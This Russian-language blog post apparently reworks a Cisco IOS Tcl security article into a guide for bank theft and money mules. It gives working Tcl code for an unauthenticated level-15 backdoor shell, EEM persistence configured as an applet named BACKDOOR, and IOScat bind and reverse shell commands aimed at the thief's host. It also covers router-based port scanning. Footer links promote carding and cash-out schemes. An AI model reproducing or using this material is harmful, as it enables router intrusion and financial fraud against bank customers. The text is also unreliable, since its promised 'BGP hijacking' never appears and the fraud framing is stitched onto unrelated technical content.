Skip to main content

Реальный перехват bgp-сессии при помощи Cisco TCL

Достаточно часто в ходе подготовки процесса по перекачиванию денег со смарт-контрактов какой-нибудь криптовалютной биржи или банковских счетов или попросту заливов на карты встречаются маршрутизаторы Cisco Systems с привилегированным доступом level 15, что позволяет использовать их для производства нелегальных денежных переводов и скачиваний с использованием функционала TCL.

Сейчас я опишу несколько методов скачивания денег со счетов клиентов банка и перевода их на счета дропов, и поверь, их использование действительно приводит к повышению прав на, якобы, защищенном маршрутизаторе.

дроповоды в Ростелекоме и bgp-перехват
Tcl – это Tool Command Language, язык сценариев, часто применяемых с графической библиотекой Tk, был придуман в начале 80-х годов и из-за своей простоты продолжает повсеместно использоваться как встроенный в различные приложения; вспомним хотя бы программы expect или irc-ботов eggdrop, а также использование его как модуля к серверной части apache mod_tcl. В операционную систему IOS, используемую маршрутизаторами Cisco Tcl, был введен с версии IOS 12.3(2)T, что позволило реализовать в маршрутизаторах Cisco Systems функции выполнения "пользовательских" скриптов. Как наиболее часто встречаемый пример, использование IOS IVR для создания интерактивных голосовых меню в системах IP-телефонии.
Используя функционал Tcl, мы имеем возможность работать с сокетами, в данном случае открывается некоторая перспектива использования маршрутизатора для следующих действий:
  • Разработки собственного варианта "бэкдора" с целью закрепления системы и доступа к ней в обход штатных механизмов защиты;
  • Проведения сканирования портов в различных сегментах сети;
  • Проброса действующих портов на порт интерфейса, организации обратного (реверсного) доступа к удаленным устройствам;
  • Разработки вариантов скриптов для возможности перебора паролей (брутфорса) различных устройств и серверов в сети.
Данными методами также может воспользоваться заливщик денег или дроповод, получив доступ к TFTP-серверу компании, где размещены существующие TCL-сценарии и принудительно заменить существующий сценарий на собственный, предназначенный для скачивания денег со счетов клиентов банка. В этом случае произойдет его загрузка и запуск на маршрутизаторе.

Практикуемся

Давай попробуем понять, как это можно реализовать с помощью удаленного шелла, который можно использовать без явной аутентификации с входом на назначенный порт по протоколу Telnet. Подобный сценарий использовался в качестве задания на соревнованиях "Рускрипто CTF 2010".
В первую очередь давай разберем, как работает Tcl на устройствах под управлением IOS.

Загрузка и исполнение TCL-скрипта:
Для первичной загрузки TCL-скриптов необходимо иметь привилегированный доступ не ниже уровня 15 enable. Скрипт Tcl необходимо загружать удаленно, для этого можно использовать такие протоколы, как TFTP, FTP, RCP, SCP. Загрузку и выполнение скрипта можно выполнять как напрямую в RAM-маршрутизатора, так и в FLASH-память c последующим его запуском с файловой системы IOS.
Загрузка скрипта во FLASH и последующее его выполнение:
Router# copy tftp://192.168.1.4/script.tcl flash://script.tcl
Router# tclsh flash://script.tcl
Загрузка скрипта непосредственно с TFTP-сервера:
Router# tclsh tftp://192.168.1.4/script.tcl
Ниже приведен пример TCL-скрипта, который при запуске захватывает сокет на порт TCP/2002 и связывает его с интерфейсом командной строки (EXEC). Загрузка скрипта выполняется методами, описанными выше (в приведенном примере с сервера TFTP).
proc callback {sock addr port} { 
fconfigure $sock -translation crlf -buffering line
puts $sock "Cisco router admin console:" 
puts $sock " " 
puts -nonewline $sock "Router# "
flush $sock
fileevent $sock readable [list echo $sock] 


proc echo {sock} {
global var

flush $sock

if {[catch {gets $sock line}] || 
[eof $sock]} {
return [close $sock]
}

catch {exec $line} result
if {[catch {puts $sock $result}]} {
return [close $sock]
}

puts -nonewline $sock "Router# "
flush $sock
}

set port 2002
set sh [socket -server callback $port] 
vwait var 
close $sh
После загрузки и последующего запуска вышеприведенного сценария появится возможность зайти в систему режим EXEC без использования учетных записей и выполнять любые команды с использованием привилегий супер-пользователя level 15.
[ptsec@maxpatrol ~]$ telnet router 2002
Trying 192.168.1.10...
Connected to router.
Escape character is '^]'.

Cisco router admin console:

Router#
Далее я бы хотел рассказать о некоторых ограничениях, которые необходимо помнить при работе с Tcl на устройствах под управлением IOS. В первых версиях IOS, включающих поддержку Tcl, скрипт продолжал свою работу даже при прерывании EXEC-сессии. В новых версиях последовало исправление, которое завершает работу скрипта при обрыве линии или по команде clear line. Этот "патч-фикс" производителя можно обойти несколькими способами:
1. На линиях, (console 0 или vty 0 4), с которых запускается скрипт, применить команду exec-timeout 0 0, в противном случае по завершении сессии скрипт завершит свою работу.
Router>en
Router#conf t
Enter configuration commands, one per line. End with CNTL/Z.
Router(config)#line vty 0 4
Router(config-line)#exec-timeout 0 0
2. Производить запуск сценария с использованием апплетов EEM (Embedded Event Manager) по триггеру, которым может быть любое действие, в том числе периодический запуск по таймеру. На примере ниже показана конфигурация, которая загружает скрипт с TFTP после запуска маршрутизатора по истечении 20 секунд.
Router(config)# event manager applet BACKDOOR
Router(config-applet)# event timer countdown name Delay time 20
Router(config-applet)# action 1.0 cli command "enable"
Router(config-applet)# action 1.1 cli command "tclsh tftp://192.168.1.4/script.tcl"
Router(config-applet)# action 1.2 syslog msg "Backdoor is executed"
3. Конвертировать TCL-сцкнарий в формат политик EEM (Embedded Event Manager) и запускать их по триггеру, которым может быть любое действие, в том числе периодический запуск по таймеру.

Готовые утилиты и денежные читы

В ряде ситуаций можно использовать готовые сценарии, такие как IOScat и IOSmap, входящие в IOScat, позволяющие осуществлять проброс портов, прием и передачу файлов путем манипуляций с сокетами. Используя встроенный язык TCL, можно использовать маршрутизатор аналогично ПК с установленным приложением Netcat, предварительно загрузив скрипт TCL в flash-маршрутизатор или через TFTP-сервер напрямую в RAM. Методика загрузки и установки TCL на маршрутизатор описана выше.

Примеры реализации:
Организация бэкдора на маршрутизаторе (2002 порт):
Router# tclsh tftp://192.168.1.4/ioscat.tcl -ip2002 –oe
Организация реверсного шелла на адрес заливщика денег или дроповода (порт 12345):
Router# tclsh tftp://192.168.1.4/ioscat.tcl -ie -oa192.168.1.4 -op12345
(на твоей машине приемником шелла выступает обычный netcat: nc -l -p 12345)
Проброс удаленного порта на локальный порт маршрутизатора (2002):
Router# tclsh tftp://192.168.1.4/ioscat.tcl -ip2002 -oa192.168.2.1 -op80
У данного сценария есть много других примеров, например копирование файлов с использованием сокетов, имитация телнет-сессии на удаленном хосте и много других функций, которые можно посмотреть на сайте разработчика.
Сценарий с названием IOSmap – не что иное, как попытка создать аналог сканера nmap, конечно, в урезанном функционале, но в данном случае достаточно эксклюзивным для работы в среде IOS. Функционал этого TCL-скрипта позволяет производить сканирование диапазонов IP-адресов на открытые TCP/UDP-порты, в том числе используя метод инвентаризации хостов посредством протокола ICMP.
Рассмотрим примеры использования:
Router>en
Router#tclsh tftp://192.168.1.4/iosmap.tcl 192.168.1.1-5 -p20-24,80,443
Loading iosmap.tcl from 192.168.1.4 (via FastEthernet0/0): !
[OK - 15912 bytes]

Loading services.list from 192.168.1.4 (via FastEthernet0/0): !
[OK - 42121 bytes]

Starting IOSmap 0.9 ( http://www.defaultroute.ca ) at 2002-03-01 02:59 UTC

Free Memory on Platform = 29038388 / Memory required for this scan = 2622514

Host 192.168.1.1 is unavailable

Host 192.168.1.2 is unavailable

Host 192.168.1.3 is unavailable

Interesting ports on host 192.168.1.4
PORT STATE SERVICE
20/tcp closed ftp-data
21/tcp closed ftp
22/tcp closed ssh
23/tcp closed telnet
24/tcp closed priv-mail
80/tcp open http
443/tcp closed https

Host 192.168.1.5 is unavailable

Router#
Изменение вариантов сканирования скрипта возможно путем добавления аргументов:
-sP – только по ответу хоста;
-sT – TCP-портов методом TCP connect;
-sU – UDP-портов через функционал IP SLA.
Учитывая богатые возможности ТСL, можно разработать множество подобных, интересных приложений для реализации их в сетевой среде на оборудовании Cisco Systems для применения в локальной вычислительной сети банка для скачивания денег и перевода на счета дропов.

Как скрыть залив

Имея возможность запускать сценарии, также интересно иметь возможность отследить их исполнение. Сделать это можно, подсмотрев процессы и состояние портов на маршрутизаторе, используя следующие команды маршрутизатора:
Router#show processes cpu | i Tcl
212 2284 17762 128 3.68% 2.88% 0.67% 162 Tcl Serv - tty16

Router#show tcp brief all
TCB Local Address Foreign Address (state)
659CDABC 192.168.1.10.23 192.168.1.4.5163 ESTAB
654485B4 *.2002 *.* LISTEN
65CA2D04 *.80 *.* LISTEN
Начиная с версии IOS 12.4(4)Т появилась возможность использования CPP (Control Plane Policy):
Router#show control-plane host open-ports
Active internet connections (servers and established)
Prot Local Address Foreign Address Service State
tcp *:23 *:0 Telnet LISTEN
tcp *:23 192.168.1.4:1379 Telnet ESTABLIS
tcp *:80 *:0 HTTP CORE LISTEN
tcp *:1234 *:0 Tcl Serv - tty163 LISTEN


Cisco devices in 1999 and 2023
Без лоха и жизнь плоха
Таким образом, все поняли, что любую, даже самую защищенную банковскую Cisco можно захватить умело написанным и запущенным TCL-сценарием. В итоге заливщик или дроповод получает шелл для скачивания денег со всеми вытекающими отсюда последствиями. 

Popular posts from this blog

Почему инженеры электросвязи становятся продажниками

Давно предупреждал инженеров электросвязи - если вы не развиваетесь, то рано или поздно превратитесь либо в дворника, либо в ассенизатора. О чем не предупреждал, каюсь, - так это о том, что локальный апокалипсис наступит прямо сейчас. Взять, например, сетевых инженеров  Ростелекома, которые бодро так искали, кого ещё подключить к интернету последние пару недель в Сочи и в Адлере. Скажете, инженеров заставляют работать продажниками - произвол и несправедливость? Лично я в этом совершенно не уверен. Чтобы было сразу понятно, о чем речь, готов проиллюстрировать свою мысль как работодатель. Мы ведь имеем здесь потенциальный конфликт в отношениях между работником и Ростелекомом , верно? И пока возмущенная общественность твердо стоит на стороне работника, предлагаю посмотреть чуть шире — не со стороны работодателя даже, а так, сбоку. Давайте возьмем, например, меня — типичного работодателя. Так случилось, что на меня работает некоторое количество весьма лояльных и толковых людей, ч

Где искать залив на банковский счет или карту?

Есть несколько способов сделать банковский перевод на карту или счет или иначе на слэнге дроповодов это называется "сделать залив на карту " для начала работы вам понадобиться зайти в чей-то чужой уже существующий кабинет интернет-банка, причем не важно какого, банк может быть любым, главное чтобы на счету " холдера " были хоть какие-то деньги для того, чтобы зайти в интернет банк вам понадобится узнать логин и пароль, смотрим видео о том, как их получить для того, чтобы зайти в чужой интернет-банк: хотя конечно, скажу тебе честно, только ты не обижайся, сейчас все нормальные сделки по обналу делают краснопёрые, сидящие в банках, всякие там внедрённые агенты ФСО, Mi6 или CIA, а льют сотрудники крупных телекомов или штатные работники NSA и GCHQ, а всё остальное - это просто лоховство или чистой воды развод на бабло в виде предоплаты

Сбербанк и дропы с площадки Dark Money, и кто кого?

Крупных открытых площадок в даркнете, специализирующихся именно на покупке-продаже российских банковских данных, обнале и скаме около десятка, самая большая из них – это Dark Money . Здесь есть нальщики, дропы, заливщики, связанный с ними бизнес, здесь льют и налят миллионы, здесь очень много денег, но тебе не стоит пока во все это суваться. Кинуть тут может любой, тут кидали и на десятки миллионов и на десятки рублей. Кидали новички и кидали проверенные люди, закономерности нету. Горячие темы – продажи данных, банковских карт, поиск сотрудников в скам и вербовка сотрудников банков и сотовых операторов, взлом аккаунтов, обнал и советы – какими платежными системы пользоваться, как не попасться милиции при обнале, сколько платить Правому Сектору или патрулю, если попались. Одна из тем – онлайн-интервью с неким сотрудником Сбербанка, который время от времени отвечает на вопросы пользователей площадки об уязвимостях системы банка и дает советы, как улучшить обнальные схемы. Чтобы пользова

Всё больше студенток зарабатывают размещая видео на PornHub

Маше 22 года. На ней спортивные штаны и футболка. Она решила спать с мужчинами гораздо старше ее самой, когда она училась в университете. Свои мысли она выражает спокойно и ясно. " Я люблю секс , - говорит Маша, - и хочу заметить, я хорошо знаю, как им заниматься. Так что найти "папочку" или двух не составило никакого труда". Маша в этом смысле не одинока. Все больше и больше самарских студенток, погребенных под горами долгов, решают найти себе богатого мужчину определенного возраста. Они проводят время с такими "папочками" в обмен на деньги и подарки. "Мой женатый "папочка" давал мне примерно три тысячи за ночь", - говорит Маша. - Его интересовал только секс. Мой разведенный "папочка" давал мне около пяти тысяч рублей на мои расходы".   Будучи студенткой, Маша с трудом сводила концы с концами. "В мой первый год у меня было две работы", - говорит она. "Это было ужасно – я работала в баре, гд

Залив на карту из онлайн игр

Ломаем игры, увеличиваем деньги и ресурсы Есть такое подозрение, что создатели игр не для того выверяли баланс и придумывали задания, чтобы вы решали их грубым взломом, но все же иногда есть соблазн прибавить себе пару сотен процентов жизни или миллион (или два) в игровой валюте, особенно если эти деньги можно вывести на банковскую карту или Яндекс.Деньги Я помню времена Diablo 2, когда все параметры персонажа лежали в открытом виде, сохраненные на локальном диске твоего игрового компьютера, и их можно было найти и подправить любым HEX-редактором. И прекрасно помню, что после этого игра тут же теряла половину своей прелести. Но, каждый сам себе злобный Буратино. Давай сойдемся на том, что процесс взлома игр может приносить тебе ежемесячный стабильных доход. Второй вариант - когда сюжет в игре увлекательнее игрового процесса, и просто не хочется тратить время при перемалывании толпы монстров или отстреливания кучи хитпоинтов у босса. Речь пойдет о программах, способных по

М9 - точка обмена трафиком • Московский INTERNET EXCHANGE • MSK-XI

Вот так всё начиналось Изначально был всего один провайдер - Релком. Не было конкурентов - не было проблем. Рунет еще делал свои первые шаги, и все русскоязычные ресурсы были сосредоточены в одном месте. Позже Релком развалился на Релком и Демос, стали появляться другие провайдеры. Рунет тем временем подрос и... распался на множество отдельных сетей-сегментов, контролируемых разными провайдерами. Разумеется, конечные пользователи имели доступ ко всем ресурсам рунета, но прямого взаимодействия между провайдерами не было. Поэтому трафик шел с сервера одного провайдера по огромной петле через Америку, потом Германию, и только потом возвращался на сервер другого провайдера. Имела место неоправданная потеря и в скорости, и в деньгах. Пока трафик был незначительным, это мало кого волновало, но интернет бурно развивался, трафик по рунету стремительно увеличивался, и в один прекрасный день крупные провайдеры Москвы (по сути, Демос и Релком) сели друг напротив друга и решили, что им надо нал